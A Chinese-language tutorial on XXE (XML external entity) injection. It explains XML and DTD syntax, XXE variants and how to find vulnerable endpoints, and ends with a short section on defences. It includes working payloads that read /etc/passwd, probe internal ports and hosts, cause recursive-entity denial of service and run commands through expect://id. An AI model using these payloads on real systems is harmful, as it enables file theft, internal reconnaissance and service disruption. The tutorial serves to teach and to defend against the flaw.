XXE（XML外部实体注入）详解

目录

一、XXE漏洞简介

二、XML详解

(一) XML文档结构

1. 文档声明

2. XML文档类型定义（DTD）

3. XML文档元素

4. XML文档示例

三、XXE漏洞类型

四、XXE漏洞挖掘技巧

五、XXE漏洞危害

(一) 文件读取

(二) 内网探测

1. 端口探测

2. 主机存活探测

(三) DOS攻击

(四) RCE

六、XXE漏洞防御

---

一、XXE漏洞简介

攻击者通过在XML数据中恶意构造外部实体声明（利用SYSTEM关键词），诱使XML解析器（后端语言支持多种XML解析器）读取本地受保护文件或访问远程资源，从而导致敏感信息泄露或SSRF、DOS等安全缺陷。

漏洞存在的前提条件：

• 后端调用xml解析器
• xml解析器开启了外部实体
• 应用程序接受用户的 xml 输入且未过滤 <!DOCTYPE> 或 <!ENTITY>。
• 注：网站开发使用的框架或库亦或是协议(SAML/SOAP)可能会隐式调用xml解析器。

二、XML详解

XML（eXtensible Markup Language，可扩展标记语言） 是一种用于存储和传输数据的标记语言（敏感大小写），类似 HTML，但它的目的不是“显示”，而是“描述数据结构”。

(一) XML文档结构

1. 文档声明

XML 的第一行通常是声明版本和编码格式：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
#version			指定XML版本，常用1.0或1.1
#encoding			指定字符编码（如UTF-8、ISO-8859-1），默认是UTF-8。
#standalone（可选）	表示是否依赖外部定义（yes表示独立，no表示可能引用外部DTD）

注：声明必须位于文档开头，不能有前置空格或空行。如果省略，解析器可能假定默认值。

2. XML文档类型定义（DTD）

定义 XML 中允许的元素、属性、结构等（类似模板），可以是本地定义，也可以引用外部文件。

DTD的组成：

• <!DOCTYPE>：XML文档类型声明_作为 DTD 的入口，指定根元素并引入这些定义（内部或外部）。
• <!ELEMENT>：XML类型定义_定义元素及其内容模型（如子元素或文本）
• <!ATTLIST>：XML类型定义_定义元素的属性及其类型、默认值
• <!ENTITY>：XML类型定义_定义可重用的实体（如常量或外部资源）

XML文档定义类型有两种写法：

• 内部DTD定义
  • <!DOCTYPE 根元素 [元素声明]>
  • 定义在XML文档内部。

<!DOCTYPE user [< user (id, name)><!ELEMENT id (#PCDATA)><!ELEMENT name (#PCDATA)>
]>

• 外部DTD引用
  • <!DOCTYPE 根元素 SYSTEM "文件名">
  • 引用外部文件

<!DOCTYPE user SYSTEM "http://xx.com/xx.dtd">

关于<!ENTITY>定义实体的三种类型：

• 内部实体
  • 引用：&实体名称;
  • <!ENTITY 实体名称 "实体的值">
    • <!ENTITY test "123">
• 外部实体
  • 引用：&实体名称;
  • SYSTEM用来定义一个“外部实体
  • <!ENTITY 实体名称 SYSTEM "URI">
    • <!ENTITY xxe SYSTEM "file:///etc/passwd">
• 参数实体
  • 用 % 声明实体名称
  • 引用：%实体名称;
  • <!ENTITY %实体名称 "实体的值">或者<!ENTITY %实体名称 SYSTEM "URI">

3. XML文档元素

XML 的主体结构就是由元素组成的，元素是成对的标签，如 <tag></tag>，支持嵌套（树形结构)）。

组成部分：

• 根元素：XML文档必须有且仅有一个根元素，包含所有其他元素。
• 子元素：嵌套在根元素或其他元素内，表达数据的层级关系。
• 属性：附加在元素标签中的键值对，提供额外信息。
• 文本内容：元素标签之间的数据（#PCDATA表示解析文本数据）。

元素组成规则：

• 根元素：<user>...</user>（整个 XML 只能有一个根元素）
  • 在 XML 中，谁是最外层包裹所有内容的元素，谁就是“根元素”

• 子元素：<id>, <name>（可以嵌套，层级结构）
• 属性（可选）：<user id="123">（元素也可以用属性来表示数据）

<!-- 元素方式、元素通常用来表示复杂的数据结构 -->
<age>18</age><!-- 属性方式、属性适合存储附加信息 -->
<user age="18"/>

4. XML文档示例

• 内部DTD

<?xml version="1.0" encoding="UTF-8"?>         <-- 1. XML 声明
<!DOCTYPE user [                               <-- 2. DTD（内部或外部）<!ELEMENT user (id, name)>									 <-- 定义根元素 user<!ELEMENT id (#PCDATA)>											 <-- 定义元素 <id> 的内容只能是文本数据<!ELEMENT name (#PCDATA)>									 	 <-- 定义元素 <name> 的内容只能是文本数据
]>
<user>                                         <-- 3. 元素部分<id>123</id><name>兔八哥</name>
</user>

• 外部DTD
  • 外部 DTD 文件（user.dtd）：

<!ELEMENT user (id, name)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT name (#PCDATA)>

• XML 文件（引用外部 DTD）：

<?xml version="1.0" encoding="UTF-8"?>  <!-- 1. XML 声明 -->
<!DOCTYPE user SYSTEM "user.dtd">       <!-- 2. 外部 DTD 引用 -->
<user>                                  <!-- 3. 元素部分 --><id>123</id><name>兔八哥</name>
</user>

三、XXE漏洞类型

• 正常回显XXE
  • xml数据被后端语言调用xml解析器处理成功，并且数据在网站中存在回显位。

• 无回显（盲）XXE
  • xml数据被后端语言调用xml解析器处理成功，数据在网站中不存在回显位。
• 报错XXE
  • xml数据被后端语言调用xml解析器在解析器处理过程中访问受限或不存在的资源或其他行为，触发异常回显。

四、XXE漏洞挖掘技巧

1.看是否有接口的请求或响应中带有：

• Content-Type: application/xml
• Content-Type: application/soap+xml
• 类似带有xml格式的内容，都可能存在解析xml代码的情况。

2.查看数据格式是否符合xml特征

• 如标签成对出现 <a></a>
  • <id>123</id><name>兔八哥</name>

3.更改Content-Type请求头为xml类型，请求体修改任意xml内容。

• 查看反馈结果，判断目标是否能解析xml。

Content-Type: application/xml<?xml version="1.0"?>
<data><msg>test</msg></data>

五、XXE漏洞危害

(一) 文件读取

PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件，还可利用PHP伪协议。

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

(二) 内网探测

1. 端口探测

<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">
]>
<msg>&xxe;</msg>

2. 主机存活探测

<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://192.168.1.10">
]>
<msg>&xxe;</msg>

(三) DOS攻击

通过递归实体生成指数级内容，耗尽 CPU 和内存。

<?xml version="1.0"?>
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<root>&lol3;</root>

(四) RCE

expect://是 PHP 的 expect 扩展提供的协议，允许执行系统命令（如 expect://ls 执行 ls 命令）。

通过 PHP 的 expect:// 协议执行系统命令（如 expect://ls）。

注：基本上网站都不会安装expect扩展，RCE在XXE漏洞中少见。

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>

六、XXE漏洞防御

禁用外部实体、过滤关键字（如<!DOCTYPE、<!ENTITY、 SYSTEM等 ）、使用WAF产品。